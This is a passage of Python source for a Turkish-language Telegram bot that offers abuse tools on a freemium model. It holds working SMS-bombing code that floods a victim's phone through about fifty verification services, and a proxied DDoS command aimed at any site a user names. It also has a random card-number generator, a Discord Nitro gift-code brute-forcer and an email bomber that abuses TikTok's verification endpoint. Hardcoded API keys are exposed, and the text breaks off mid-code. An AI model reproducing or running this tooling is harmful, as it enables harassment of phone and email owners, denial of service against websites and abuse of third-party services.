if threading.active_count() == 1: # Sadece ana thread çalışıyorsa
while not komut_kuyrugu.empty():
guncel_mesaj = komut_kuyrugu.get()
try:
threading.Thread(target=smsbomb_isleyici, args=(guncel_mesaj,)).start()
finally:
komut_kuyrugu.task_done()

@bot.message_handler(func=lambda mesaj: mesaj.chat.id in smsbomb_data and 'tel_no' in smsbomb_data[mesaj.chat.id])
def smsbomb_isleyici(mesaj):
try:
tel_no = smsbomb_data[mesaj.chat.id]['tel_no']
orijinal_mesaj_sayisi = int(mesaj.text)

if orijinal_mesaj_sayisi > 1000:
with open('kullanicilar.txt', 'r+') as f:
lines = f.readlines()
user_line_prefix = f"x) {mesaj.chat.id};"
user_lines = [line for line in lines if user_line_prefix in line]

if user_lines:
# Kullanıcı daha önce uyarılmış ve tekrar limiti aşmış
ban_date = datetime.datetime.now() + datetime.timedelta(days=60)
ban_date_str = ban_date.strftime('%Y-%m-%d')
new_lines = [line if user_line_prefix not in line else f"x) {mesaj.chat.id};{ban_date_str}n" for line in lines]
f.seek(0)
f.truncate()
f.writelines(new_lines)
bot.reply_to(mesaj, "Daha önce uyarıldınız ve yine limiti aştınız. 2 ay boyunca botu kullanamazsınız.")
return
else:
# Kullanıcı ilk kez uyarılıyor
f.write(f"x) {mesaj.chat.id};n")
bot.reply_to(mesaj, "En fazla 500 SMS gönderebilirsin, eğer yine aynı hatayı yaparsan bu sefer 2 ay engellenirsin.")
return

mesaj_sayisi = min(orijinal_mesaj_sayisi, 1000) * 3 # Kullanıcıdan alınan değerin 10 katına çıkarılması, en fazla 500
gonderim_baslat(tel_no, mesaj_sayisi, 1000, mesaj, orijinal_mesaj_sayisi)
except Exception as e:
bot.reply_to(mesaj, f"Bir Hata Oluştu: {e}")
finally:
del smsbomb_data[mesaj.chat.id]

def get_usage_count(user_id):
"""Kullanıcının haftalık smsbomb kullanım sayısını döner."""
if user_id in smsbomb_usage:
usage_info = smsbomb_usage[user_id]
last_reset_date = usage_info['last_reset_date']
if (datetime.datetime.now() - last_reset_date).days >= 7:
# Haftalık limit sıfırlanır
smsbomb_usage[user_id] = {'count': 0, 'last_reset_date': datetime.datetime.now()}
return smsbomb_usage[user_id]['count']
else:
smsbomb_usage[user_id] = {'count': 0, 'last_reset_date': datetime.datetime.now()}
return 0

def increment_usage_count(user_id):
"""Kullanıcının smsbomb kullanım sayısını bir artırır."""
if user_id in smsbomb_usage:
smsbomb_usage[user_id]['count'] += 1
else:
smsbomb_usage[user_id] = {'count': 1, 'last_reset_date': datetime.datetime.now()}

@bot.message_handler(commands=['smsbomb'])

def smsbomb_baslat(message):
user_id = message.from_user.id
if is_trial_taken(user_id):
bot.reply_to(message, "Lütfen göndermek istediğiniz numarayı girin:")
smsbomb_data[message.chat.id] = {}
else:
usage_count = get_usage_count(user_id)
if usage_count < 5:
increment_usage_count(user_id)
bot.reply_to(message, "Lütfen göndermek istediğiniz numarayı girin:")
smsbomb_data[message.chat.id] = {}
else:
bot.reply_to(message, "Haftalık smsbomb kullanım limitinize ulaştınız. Lütfen premium olun veya haftaya tekrar deneyin.")

@bot.message_handler(func=lambda mesaj: mesaj.chat.id in smsbomb_data and 'tel_no' not in smsbomb_data[mesaj.chat.id])
def smsbomb_numara_al(mesaj):
chat_id = mesaj.chat.id

# Kullanıcının girdiği numarayı temizle
temiz_numara = mesaj.text.strip().replace(' ', '').replace('-', '')

# Hata sayacını kontrol et veya başlat
if 'error_count' not in smsbomb_data[chat_id]:
smsbomb_data[chat_id]['error_count'] = 0

# Ülke kodunu veya baştaki sıfırı kaldırma
if temiz_numara.startswith('+90'):
temiz_numara = temiz_numara[3:] # +90'ı at
bot.reply_to(mesaj, "Lütfen +90'ı Kaldır Ve Şu Biçimde Gir; " + temiz_numara)
elif temiz_numara.startswith('0'):
temiz_numara = temiz_numara[1:] # Başındaki 0'ı at
bot.reply_to(mesaj, "Lütfen 0'ı Kaldır Ve Şu Biçimde Gir; " + temiz_numara)

# Temizlenmiş numaranın uzunluğunu ve başlangıç karakterini kontrol et
if len(temiz_numara) == 10 and temiz_numara[0] == '5':
smsbomb_data[chat_id]['tel_no'] = temiz_numara
smsbomb_data[chat_id]['error_count'] = 0 # Hata sayacını sıfırla
bot.reply_to(mesaj, "Lütfen göndermek istediğiniz SMS sayısını girin:")
else:
smsbomb_data[chat_id]['error_count'] += 1
if smsbomb_data[chat_id]['error_count'] == 1:
bot.reply_to(mesaj, "Lütfen geçerli bir telefon numarası girin. Örneğin: 5555555555")
elif smsbomb_data[chat_id]['error_count'] >= 2:
bot.reply_to(mesaj, "Çok sayıda hatalı giriş yaptınız. Numara alma işlemi durduruldu.")
del smsbomb_data[chat_id] # Hatalı girişten sonra kullanıcı verilerini sil

@bot.message_handler(func=lambda mesaj: mesaj.chat.id in smsbomb_data and 'tel_no' in smsbomb_data[mesaj.chat.id] and 'sms_sayisi' not in smsbomb_data[mesaj.chat.id])
def smsbomb_sayi_al(mesaj):
try:
tel_no = smsbomb_data[mesaj.chat.id]['tel_no']
orijinal_mesaj_sayisi = int(mesaj.text)

if orijinal_mesaj_sayisi > 1000:
with open('kullanicilar.txt', 'r+') as f:
lines = f.readlines()
user_line_prefix = f"x) {mesaj.chat.id};"
user_lines = [line for line in lines if user_line_prefix in line]

if user_lines:
# Kullanıcı daha önce uyarılmış ve tekrar limiti aşmış
ban_date = datetime.datetime.now() + datetime.timedelta(days=60)
ban_date_str = ban_date.strftime('%Y-%m-%d')
new_lines = [line if user_line_prefix not in line else f"x) {mesaj.chat.id};{ban_date_str}n" for line in lines]
f.seek(0)
f.truncate()
f.writelines(new_lines)
bot.reply_to(mesaj, "Daha önce uyarıldınız ve yine limiti aştınız. 2 ay boyunca botu kullanamazsınız.")
return
else:
# Kullanıcı ilk kez uyarılıyor
f.write(f"x) {mesaj.chat.id};n")
bot.reply_to(mesaj, "En fazla 500 SMS gönderebilirsin, eğer yine aynı hatayı yaparsan bu sefer 2 ay engellenirsin.")
return

smsbomb_data[mesaj.chat.id]['sms_sayisi'] = orijinal_mesaj_sayisi
smsbomb_isleyici_wrapper(mesaj)
except Exception as e:
bot.reply_to(mesaj, f"Bir Hata Oluştu: {e}")
finally:
del smsbomb_data[mesaj.chat.id]

def servis_gonderici(tel_no, servis):
global toplam_gonderimler, basarili_gonderimler, basarisiz_gonderimler
sonuc = servis(number=tel_no)
toplam_gonderimler += 1
if sonuc[0]:
basarili_gonderimler += 1
else:
basarisiz_gonderimler += 1

def gonderim_baslat(tel_no, mesaj_sayisi, calisan_sayisi, mesaj, orijinal_mesaj_sayisi):
global toplam_gonderimler, basarili_gonderimler, basarisiz_gonderimler
toplam_gonderimler = 0
basarili_gonderimler = 0
basarisiz_gonderimler = 0
servis_listesi = [a101, anadolu, aygaz, bim, bisu, ceptesok, coffy, defacto, englishhome, file, gez, gofody, goyakit, hayat, heyscooter, hizliecza, hop, ikinciyeni, ipragraz, istegelsin, jetle, joker, kalmasin, karma, kimgbister, macrocenter, marti, migros, mopas, ninewest, oliz, pawapp, paybol, petrolofisi, pinar, pisir, qumpara, rabbit, roombadi, saka, scooby, signalall, superpedestrian, sushico, tazi, tiklagelsin, total, weescooter, yotto]

random.shuffle(servis_listesi)
temp_message = bot.send_message(mesaj.chat.id, "SMS'ler hedefe yönlendiriliyor 😈nnLütfen bekleyiniz, detaylar yakında verilecek...")

baslangic_zamani = time.perf_counter()
with concurrent.futures.ThreadPoolExecutor(max_workers=calisan_sayisi) as yurutucu:
for _ in range(mesaj_sayisi):
for servis in servis_listesi:
yurutucu.submit(servis_gonderici, tel_no, servis)

sure = int(time.perf_counter() - baslangic_zamani)
bot.edit_message_text(chat_id=mesaj.chat.id, message_id=temp_message.message_id, text=f"• Numara: {tel_no} 📱nn• Atılma Süresi: {sure} saniye ⏱️nn• Atılma Sayısı: {orijinal_mesaj_sayisi} tane 📉")

#Fake Email Komut
last_message_fake = {}
usage_limit_fm = 5
usage_reset_interval = timedelta(weeks=1)
usage_data_file = 'usage_data.txt'

def get_usage_mail(user_id):
"""Kullanıcının kullanım bilgilerini döner."""
if not os.path.exists(usage_data_file):
return 0, None

with open(usage_data_file, 'r') as f:
for line in f:
parts = line.strip().split(';')
if str(user_id) == parts[0]:
last_usage_time = datetime.datetime.fromisoformat(parts[1])
usage_count = int(parts[2])
return usage_count, last_usage_time

return 0, None


def update_usage_mail(user_id, usage_count, last_usage_time):
"""Kullanıcının kullanım bilgilerini günceller."""
data = {}
if os.path.exists(usage_data_file):
with open(usage_data_file, 'r') as f:
for line in f:
parts = line.strip().split(';')
data[parts[0]] = (parts[1], parts[2])

data[str(user_id)] = (last_usage_time.isoformat(), str(usage_count))

with open(usage_data_file, 'w') as f:
for uid, (time_str, count) in data.items():
f.write(f"{uid};{time_str};{count}n")


@bot.message_handler(commands=['fake_email'])
@safe_execute
@check_membership
@ban_at
def handle_fake_email(message):
user_id = message.from_user.id
if is_trial_taken(user_id):
email_obj = Email().Mail()
email = email_obj["mail"]

bot.send_message(message.chat.id, f"İşte E-Mail'in: n{email}")

def check_messages_mail(email_session, chat_id):
last_check_time = time.time()
while True:
messages = Email(email_session).inbox()
if messages:
current_message = {
"topic": messages['topic'],
"name": messages['name'],
"from": messages['from'],
"to": messages['to'],
"message": messages['message']
}
if current_message != last_message_fake.get(chat_id):
formatted_messages = f"➣ Yeni Bir Mesajın Var:n"
f"• Konu: {messages['topic']}n"
f"• İsim: {messages['name']}n"
f"• Kimden: {messages['from']}n"
f"• Kime: {messages['to']}n"
f"• Mesaj: {messages['message']}n"
bot.send_message(chat_id, formatted_messages)
last_message_fake[chat_id] = current_message

time.sleep(5)

bot.send_message(message.chat.id, "Mesaj Bekliyorum.nİşlemi İptal Etmek İstersen /mail_iptal Yaz.")
threading.Thread(target=check_messages_mail, args=(email_obj["session"], message.chat.id)).start()

else:
usage_count, last_usage_time = get_usage_mail(user_id)
if last_usage_time is None or datetime.datetime.now() - last_usage_time > usage_reset_interval:
usage_count = 0
last_usage_time = datetime.datetime.now()

if usage_count < usage_limit_fm:
usage_count += 1
update_usage_mail(user_id, usage_count, last_usage_time)
email_obj = Email().Mail()
email = email_obj["mail"]

bot.send_message(message.chat.id, f"İşte E-Mail'in: n{email}")

def check_messages_mail(email_session, chat_id):
last_check_time = time.time()
while True:
messages = Email(email_session).inbox()
if messages:
current_message = {
"topic": messages['topic'],
"name": messages['name'],
"from": messages['from'],
"to": messages['to'],
"message": messages['message']
}
if current_message != last_message_fake.get(chat_id):
formatted_messages = f"➣ Yeni Bir Mesajın Var:n"
f"• Konu: {messages['topic']}n"
f"• İsim: {messages['name']}n"
f"• Kimden: {messages['from']}n"
f"• Kime: {messages['to']}n"
f"• Mesaj: {messages['message']}n"
bot.send_message(chat_id, formatted_messages)
last_message_fake[chat_id] = current_message

time.sleep(5)

bot.send_message(message.chat.id, "Mesaj Bekliyorum.nİşlemi İptal Etmek İstersen /mail_iptal Yaz.")
threading.Thread(target=check_messages_mail, args=(email_obj["session"], message.chat.id)).start()
else:
bot.send_message(message.chat.id, "Üzgünüz, bu hafta /fake_email komutunu kullanma limitinize ulaştınız.")


@bot.message_handler(commands=['mail_iptal'])
@safe_execute
@check_membership
@ban_at
def handle_mail_cancel(message):
bot.send_message(message.chat.id, "İşlem İptal Edildi. Yeni Email Almak İçin /fake_email Yaz.")


#CC Komut
@bot.message_handler(commands=['cc'])
@safe_execute
@check_membership
@ban_at
def cc_command(message):
user_chat_id = message.chat.id
msg_text = message.text.split()
if len(msg_text) == 1:
reply_message = ("Kendine Özel CC Üretmen İçin /cc Yazıp Yanına Kaç Tane Üreteceğini Yazn"
"Örnek Kullanım;n"
"/cc 3n"
"Mesela Bu Komut 3 Tane CC ÜretirnnNOT;n"
"CC'ler Random Üretilir Ve Kesin Girme İhtimalleri Yoktur")
bot.send_message(chat_id=user_chat_id, text=reply_message)
elif len(msg_text) == 2 and msg_text[1].isdigit():
cc_sayisi = int(msg_text[1])
if cc_sayisi > 130:
with open('kullanicilar.txt', 'r+') as f:
lines = f.readlines()
user_line_prefix = f"x) {user_chat_id};"
user_lines = [line for line in lines if user_line_prefix in line]
if user_lines:
# Ban the user if they've been warned before
ban_date = datetime.datetime.now() + datetime.timedelta(days=60)
ban_date_str = ban_date.strftime('%Y-%m-%d')
new_lines = [line if user_line_prefix not in line else f"x) {user_chat_id};{ban_date_str}n" for line in lines]
f.seek(0)
f.truncate()
f.writelines(new_lines)
bot.send_message(user_chat_id, "Daha önce uyarıldınız ve yine limiti aştınız. 2 ay boyunca botu kullanamazsın.")
else:
# Warn the user for the first time
f.write(f"x) {user_chat_id};n")
bot.send_message(user_chat_id, "Tek komutta en fazla 130 CC üretebilirsin. Eğer yine aynı hatayı yaparsan bu sefer 2 ay engel yersin.")
else:
uretilen_ccler = []
for _ in range(cc_sayisi):
cc_numarasi = ''.join(random.choice('1234567890') for _ in range(16))
ay = str(random.randint(1, 12)).zfill(2)
yil = str(random.randint(22, 30))
cvv = ''.join(random.choice('1234567890') for _ in range(3))
cc_bilgisi = f"`{cc_numarasi}|{ay}/{yil}|{cvv}`"
uretilen_ccler.append(cc_bilgisi)
reply_message = "Üretilen Random CC'lerin:nn" + "n".join(uretilen_ccler)
bot.send_message(chat_id=user_chat_id, text=reply_message, parse_mode='Markdown')
else:
bot.send_message(chat_id=user_chat_id, text="Hatalı kullanım. Lütfen /cc [sayı] formatını kullanın.")

#DDoS Komut
DDOS_FREE_LIMIT = 3 # Örnek haftalık ücretsiz DDoS kullanım limiti
ddos_usage = {} # Kullanıcıların DDoS kullanım sayısını takip etmek için
ddos_lock = threading.Lock() # DDoS işlemleri için kilit
user_data = {} # Kullanıcı verilerini saklamak için


@bot.message_handler(commands=['ddos'])
@safe_execute
@check_membership
@ban_at
def handle_ddos(message):
chat_id = message.chat.id
user_id = message.from_user.id

if is_trial_taken(user_id):
premium = True
else:
premium = False

if not premium:
usage_count = ddos_usage.get(user_id, 0)
if usage_count >= DDOS_FREE_LIMIT:
bot.send_message(chat_id, "Haftalık DDoS kullanım hakkınız doldu. Daha fazla kullanmak için premium üye olmalısınız.")
return
ddos_usage[user_id] = usage_count + 1

with ddos_lock:
user_data[chat_id] = {
'success_count': 0,
'failure_count': 0,
'active_proxies': [],
'inactive_proxies': [],
'last_success_time': time.time(),
'proxies': yeni_proxy_listesi_al(),
'stop_flag': threading.Event()
}

try:
site_with_prefix = message.text.split()[1].strip()
prefixes = ['http://', 'https://', 'www.']
site = site_with_prefix
for prefix in prefixes:
if site_with_prefix.startswith(prefix):
site = site_with_prefix[len(prefix):]
site = site.rstrip('/')
except IndexError:
bot.send_message(chat_id, "Örnek Kullanım: /ddos example.com")
return

bot.send_message(chat_id, f"{site} Sitesine DDoS Saldırısı Başlatıldı, Ben Siteye DDoS Atarken Sen Diğer Komutlarda Gezinebilirsin 😉nnEğer DDoS'u Durdurmak İstersen /ddos_iptal Yaz.")

if not user_data[chat_id]['proxies']:
bot.send_message(chat_id, "Proxy Listesi Alınamadı.")
return

def ddos_attack():
with ThreadPoolExecutor(max_workers=200) as executor:
with requests.Session() as session:
futures = []
for _ in range(10000):
if user_data[chat_id]['stop_flag'].is_set():
break
proxy = random.choice(user_data[chat_id]['active_proxies'] or user_data[chat_id]['proxies'])
futures.append(executor.submit(site_istegi_gonder, chat_id, site, proxy, session))
time.sleep(0.02)

for future in futures:
future.result()

for proxy in user_data[chat_id]['inactive_proxies']:
if user_data[chat_id]['stop_flag'].is_set():
break
futures.append(executor.submit(site_istegi_gonder, chat_id, site, proxy, session))
for future in futures:
future.result()

def monitor_success_ddos():
while not user_data[chat_id]['stop_flag'].is_set():
time.sleep(3)
if time.time() - user_data[chat_id]['last_success_time'] >= 3:
with ddos_lock:
user_data[chat_id]['proxies'] = yeni_proxy_listesi_al()
user_data[chat_id]['active_proxies'] = []
user_data[chat_id]['inactive_proxies'] = []

def update_proxies_periodically():
while not user_data[chat_id]['stop_flag'].is_set():
time.sleep(10)
with ddos_lock:
user_data[chat_id]['proxies'] = yeni_proxy_listesi_al()
user_data[chat_id]['active_proxies'] = []
user_data[chat_id]['inactive_proxies'] = []

threading.Thread(target=ddos_attack).start()
threading.Thread(target=monitor_success_ddos).start()
threading.Thread(target=update_proxies_periodically).start()

@bot.message_handler(commands=['ddos_iptal'])
@safe_execute
@check_membership
@ban_at
def handle_ddos_cancel(message):
chat_id = message.chat.id

with ddos_lock:
if chat_id in user_data:
user_data[chat_id]['stop_flag'].set()
bot.send_message(chat_id, "DDoS Saldırısı Durduruldu.")
else:
bot.send_message(chat_id, "Aktif Bir DDoS Saldırısı Bulunmuyor.")

def yeni_proxy_listesi_al():
try:
https = requests.get("https://api.proxyscrape.com/?request=displayproxies&proxytype=https&timeout=0", timeout=3).text
http = requests.get("https://api.proxyscrape.com/?request=displayproxies&proxytype=http&timeout=0", timeout=3).text
socks = requests.get("https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5&timeout=0", timeout=3).text
except Exception as e:
return []

proxies = https.split('n') + http.split('n') + ["socks5://" + p for p in socks.split('n')]
return [p.strip() for p in proxies if p.strip()]

def site_istegi_gonder(chat_id, site, proxy, session):
try:
proxies = {"http": proxy, "https": proxy}
response = session.get(f"https://{site}", proxies=proxies, timeout=5)
with ddos_lock:
if response.status_code == 200:
user_data[chat_id]['success_count'] += 1
user_data[chat_id]['last_success_time'] = time.time()
if proxy not in user_data[chat_id]['active_proxies']:
user_data[chat_id]['active_proxies'].append(proxy)
else:
user_data[chat_id]['failure_count'] += 1
if proxy not in user_data[chat_id]['inactive_proxies']:
user_data[chat_id]['inactive_proxies'].append(proxy)
except Exception:
with ddos_lock:
user_data[chat_id]['failure_count'] += 1
if proxy not in user_data[chat_id]['inactive_proxies']:
user_data[chat_id]['inactive_proxies'].append(proxy)

#Deftere Yaz Komut
@bot.message_handler(commands=['deftereyaz'])
@safe_execute
@check_membership
@ban_at
def not_defterine_yaz(mesaj):
# Komut ile birlikte gelen argümanları almak için mesaj metnini böleriz.
argumanlar = mesaj.text.split()[1:] # İlk parçayı (komut) atlayıp, argümanları alırız.

if not argumanlar:
# Eğer argüman yoksa, kullanıcıya nasıl kullanılacağını söyleyen bir mesaj gönder.
bot.reply_to(mesaj, "Kendi İsminizi Not Defterine Yazmak İsterseniz Önce /deftereyaz Komutunu Girin Ardından Ne Yazmak İstediğinizi Girin.nÖrnek Kullanım;n/deftereyaz TeknoDroidnÖrneğin Bu Komut Not Defterine TeknoDroid Yazdırır")
return # Bu return ifadesiyle fonksiyon burada sonlanır eğer argüman yoksa.

# Argümanlar varsa, birleştir ve bir istek URL'si oluştur.
yazilacak_metin = ' '.join(argumanlar)
istek_adresi = f"https://apis.xditya.me/write?text={urllib.parse.quote(yazilacak_metin)}"

# Oluşturulan istek adresi ile fotoğrafı gönder.
bot.send_document(mesaj.chat.id, istek_adresi)

#Discord Nitro Komut

def generate_user_agent_discord():
return 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'

@bot.message_handler(commands=['discord_nitro'])
@safe_execute
@check_membership
@ban_at
def send_nitro_links(message):
user_chat_id = message.chat.id
try:
istek_sayisi = int(message.text.split()[1])
if istek_sayisi > 50:
with open('kullanicilar.txt', 'r+') as f:
lines = f.readlines()
user_line_prefix = f"x) {user_chat_id};"
# Kullanıcı zaten uyarılmış ve tekrar limiti aştı mı kontrol et
user_lines = [line for line in lines if user_line_prefix in line]
if user_lines:
# Kullanıcı daha önce uyarılmış ve tekrar limiti aşmış
ban_date = datetime.datetime.now() + datetime.timedelta(days=60)
ban_date_str = ban_date.strftime('%Y-%m-%d')
# Dosyada eski bilgiyi yeni ban tarihi ile güncelle
new_lines = [line if user_line_prefix not in line else f"x) {user_chat_id};{ban_date_str}n" for line in lines]
f.seek(0)
f.truncate()
f.writelines(new_lines)
bot.send_message(user_chat_id, "Daha önce uyarıldınız ve yine limiti aştınız. 2 ay boyunca botu kullanamazsınız.")
return
else:
# Kullanıcı ilk kez uyarılıyor
f.write(f"x) {user_chat_id};n")
bot.reply_to(message, "En fazla 50 tane nitro linki üretebilirsiniz. Tekrar deneyin.")
return
except (IndexError, ValueError):
bot.reply_to(message, "Lütfen geçerli bir sayı girin. Örnek kullanım: /discord_nitro 3")
return

basarili, basarisiz = 0, 0
for _ in range(istek_sayisi):
karakter_havuzu = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
rastgele_dizgi = ''.join(random.choices(karakter_havuzu, k=16))
nitro_url = f'https://discord.gift/{rastgele_dizgi}'
headers = {'User-Agent': generate_user_agent_discord()}
response = requests.get(f'https://discordapp.com/api/v9/entitlements/gift-codes/{rastgele_dizgi}?with_application=false&with_subscription_plan=true', headers=headers)

if response.status_code == 200:
basarili += 1
hit_mesaji = f'✅ Geçerli Discord Nitro: {nitro_url}'
bot.send_message(message.chat.id, hit_mesaji)
else:
basarisiz += 1
bot.send_message(message.chat.id, f'❌ Geçersiz Nitro Linki: {nitro_url}')

son_mesaj = f"Toplam {istek_sayisi} adet link denendi. {basarili} geçerli, {basarisiz} geçersiz."
bot.send_message(message.chat.id, son_mesaj)

#Duvar Kağıdı Komut
pexels_api_key = pexels_api_key = '13UzVodepETZ99a9uz4kUgsTypomsdjNoKOwp8bflisWbgUlWdns9ib0'

available_ids_dk = []

def get_random_picsum_wallpaper():
global available_ids_dk
if not available_ids_dk:
available_ids_dk = list(range(1, 1000))
selected_id = random.choice(available_ids_dk)
available_ids_dk.remove(selected_id)
return f'https://picsum.photos/id/{selected_id}/1200/800'

def get_random_pexels_wallpaper():
headers = {'Authorization': pexels_api_key}
response = requests.get('https://api.pexels.com/v1/search?query=wallpaper&per_page=15', headers=headers)
wallpapers = response.json()['photos']
random_wallpaper = random.choice(wallpapers)['src']['original']
return random_wallpaper

def send_wallpaper_dk(message, count=1):
for _ in range(count):
# Picsum ve Pexels arasında seçim yapma (Picsum daha sık seçilecek)
if random.randint(1, 10) > 2: # %80 olasılıkla Picsum, %20 olasılıkla Pexels
wallpaper_url = get_random_picsum_wallpaper()
else:
wallpaper_url = get_random_pexels_wallpaper()

bot.send_document(message.chat.id, wallpaper_url)

# Komutu işleme alacak handler fonksiyonu
@bot.message_handler(commands=['duvar_kagidi'])
@safe_execute
@check_membership
@ban_at
def handle_wallpaper_command_dk(message):
parts = message.text.split()
if len(parts) == 2 and parts[1].isdigit():
count = int(parts[1])
send_wallpaper_dk(message, min(count, 5000)) # Kullanıcıdan en fazla 5000 duvar kağıdı istenebilir.
elif len(parts) == 1:
bot.reply_to(message, "Komutun yanına kaç resim istediğinizi yazın.nÖrneğin;nn/duvar_kagidi 3nBu komut 3 duvar kağıdı atar.")
else:
send_wallpaper_dk(message, 1)

#Döviz Hesapla Komut
EXCHANGE_API_KEY_DOVİZ = 'ed0b1dd31871fc9b7cfbaf94'


def get_exchange_rate_doviz(base, target):
url = f"https://v6.exchangerate-api.com/v6/{EXCHANGE_API_KEY_DOVİZ}/latest/{base}"
response = requests.get(url)
if response.status_code != 200:
return None
data = response.json()
return data['conversion_rates'].get(target, None)

@bot.message_handler(commands=['dovizhesapla'])
@safe_execute
@check_membership
@ban_at
def doviz_hesapla(message):
bot.reply_to(message, "Bu Komut İle Dolar Ve Euro'yu Hesaplayabilirsin.nnDolar'ı Hesaplamak İçin /dolar Komutunu Ver.nEuro'yu Hesaplamak İçin /euro Komutunu Ver.")

@bot.message_handler(commands=['dolar'])
@safe_execute
@check_membership
@ban_at
def dolar_doviz(message):
rate = get_exchange_rate_doviz('USD', 'TRY')
if rate is None:
bot.reply_to(message, "Bir hata oluştu. Lütfen daha sonra tekrar deneyiniz.")
return
try:
amount_text = message.text.split()[1]
amount = float(amount_text)
total = rate * amount
bot.reply_to(message, f"{amount} Dolar Şuanda {total:.2f} TL.")
except (IndexError, ValueError):
bot.reply_to(message, f"Dolar Şuanda: {rate:.2f} TL.nnKaç Dolar Kaç TL olduğunu görmek için /dolar yazıp yanına sayıyı ekleyin. Örneğin: /dolar 10nBu Komut 10 Doların Kaç TL Olduğunu Gösterir")

@bot.message_handler(commands=['euro'])
@safe_execute
@check_membership
@ban_at
def euro_doviz(message):
rate = get_exchange_rate_doviz('EUR', 'TRY')
if rate is None:
bot.reply_to(message, "Bir hata oluştu. Lütfen daha sonra tekrar deneyiniz.")
return
try:
amount_text = message.text.split()[1]
amount = float(amount_text)
total = rate * amount
bot.reply_to(message, f"{amount} Euro Şuanda {total:.2f} TL.")
except (IndexError, ValueError):
bot.reply_to(message, f"Euro Şuanda: {rate:.2f} TL.nnKaç Euro Kaç TL olduğunu görmek için /euro yazıp yanına sayıyı ekleyin. Örneğin: /euro 10nBu Komut 10 Euronun Kaç TL Olduğunu Gösterir")


#EmailBomb Komutu
# Kullanıcı limitlerini kontrol etmek için sözlük
free_user_limits = {}

# E-posta spam gönderim sayacı
spam_counts = {}

# Aktif e-posta gönderim thread'lerini tutmak için sözlük
email_threads = {}

def check_free_limit_mail(user_id):
if user_id not in free_user_limits:
free_user_limits[user_id] = 0
return free_user_limits[user_id] < 3

# Kullanıcının ücretsiz limitini artıran fonksiyon
def increment_free_limit_mail(user_id):
if user_id in free_user_limits:
free_user_limits[user_id] += 1

def send_tiktok_email(email):
url = "https://api16-normal-c-alisg.tiktokv.com/passport/email/send_code/"

params = {
'passport-sdk-version': "19",
'iid': "7372613882915211014",
'device_id': "7372613015445308933",
'ac': "wifi",
'channel': "googleplay",
'aid': "1233",
'app_name': "musical_ly",
'version_code': "310503",
'version_name': "31.5.3",
'device_platform': "android",
'os': "android",
'ab_version': "31.5.3",
'ssmix': "a",
'device_type': "ART-L29N",
'device_brand': "HUAWEI",
'language': "ar",
'os_api': "29",
'os_version': "10",
'openudid': "47b07f1a42f3d962",
'manifest_version_code': "2023105030",
'resolution': "720*1491",
'dpi': "320",
'update_version_code': "2023105030",
'_rticket': "1716570582691",
'is_pad': "0",
'app_type': "normal",
'sys_region': "YE",
'mcc_mnc': "42102",
'timezone_name': "Asia/Aden",
'carrier_region_v2': "421",
'app_language': "ar",
'carrier_region': "YE",
'ac2': "wifi",
'uoo': "1",
'op_region': "YE",
'timezone_offset': "10800",
'build_number': "31.5.3",
'host_abi': "arm64-v8a",
'locale': "ar",
'region': "YE",
'ts': "1716570584",
'cdid': "10f6e4d6-16f9-4a03-a021-4375a1c072c8",
'support_webview': "1",
'reg_store_region': "ye",
'cronet_version': "2fdb62f9_2023-09-06",
'ttnet_version': "4.2.152.11-tiktok",
'use_store_region_cookie': "1"
}

payload = f"rules_version=v2&account_sdk_source=app&multi_login=1&type=31&email={email}&mix_mode=1"

headers = {
'User-Agent': "com.zhiliaoapp.musically/2023105030 (Linux; U; Android 10; ar_YE; ART-L29N; Build/HUAWEIART-L29N; Cronet/TTNetVersion:2fdb62f9 2023-09-06 QuicVersion:bb24d47c 2023-07-19)",
'Content-Type': "application/x-www-form-urlencoded",
'sdk-version': "2",
'x-ss-req-ticket': "1716570582694",
'x-tt-passport-csrf-token': "24a8c5234188c87c654cf17f2ee2dc70",
'passport-sdk-version': "19",
'x-tt-dm-status': "login=0;ct=1;rt=6",
'x-tt-bypass-dp': "1",
'x-vc-bdturing-sdk-version': "2.3.3.i18n",
'x-ss-stub': "8CC81EE0FB32631749A8267BEB4F3249",
'x-tt-trace-id': "00-ab947041106650c879cc0a06053304d1-ab947041106650c8-01",
'x-argus': "43ezL+yAGAg/ntTuU/ujVA8I1E6tQEh2+Ay9fZ8xSJzIxShzJLdOIp1oZSMcTmTd79DKgYvYG3Y6EJHQw0hRl3ptm+MgzlmjKohIZsPGftz0AudftXdILG3SqIRh7R4+Kzs+vcYKR/dal+lnAhKgTRRfxYDDBVHNB7kpiQEOkH915AYJ1uF8qGO3uZTHfElq8kc94HsCZBDWv5ZZ6vOB3hPbgc/dLzjxLir837B5Jpe4OllaKgN3L5v3WC+2JJn/VTMk81UwfNSH8l7p7NnIbXJd6m59h9IFWgomPpqEpOhlu+ROhJuWmJ5FS3lZJrPBK0h3mlYhNJbKxRgIaeylVZkljvuFZ8fwPxvog2U6obOSEXQATIjZMhT+BoSTcvpdGn/P55O9J3IR/0hlDwzx3Sp3/xqsfp8l/QmArv4ha70TG1by0QDdvXAfBzs/JJZQ9qku/JAZnYfgXoPfrhQbdwjJf2Gmj8XphbcKIp/oEUzSOs5Fjc3pbRgfLVBPbTf/0yEVGlwv4VblaBxOsAaqJuRY",
'x-gorgon': "84040039000073c5d5fa441990245151415451f12ba24072b6e4",
'x-khronos': "1716570578",
'x-ladon': "DOCmYT1SFgBtXIky8cBH+g/ymcAe+237nMdEAu2IPa2oUq7O",

}

response = requests.post(url, params=params, data=payload, headers=headers)

return response.text

# E-posta spamı gönderen fonksiyon
def send_spam_email(email, chat_id):
cookies = {
"nguestv2": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJraWQiOiJiYjlhZTUyOTY1ZTI0NGIxODFkY2IwNTYxNWY4ZmI3NCIsImlhdCI6MTcxNzcyMjk4OCwiZXhwIjoxNzE3NzIzMjg4fQ.h_0c90DgVMG6qOOs2wgk3I0qNSC_J4T9d8lNs5erIJM",
"AKA_A2": "A",
"x-whoami-headers": "eyJ4LWxhdCI6IjI1MTk5ODQ5NSIsIngtbG5nIjoiNTUyNzE1OTg1IiwieC1lY29tLXpvbmVjb2RlIjoiQUVfRFhCLVM1IiwieC1yb2NrZXQtem9uZWNvZGUiOiJXMDAwNjc1MjZBIiwieC1yb2NrZXQtZW5hYmxlZCI6dHJ1ZSwieC1ib3JkZXItZW5hYmxlZCI6dHJ1ZX0=",
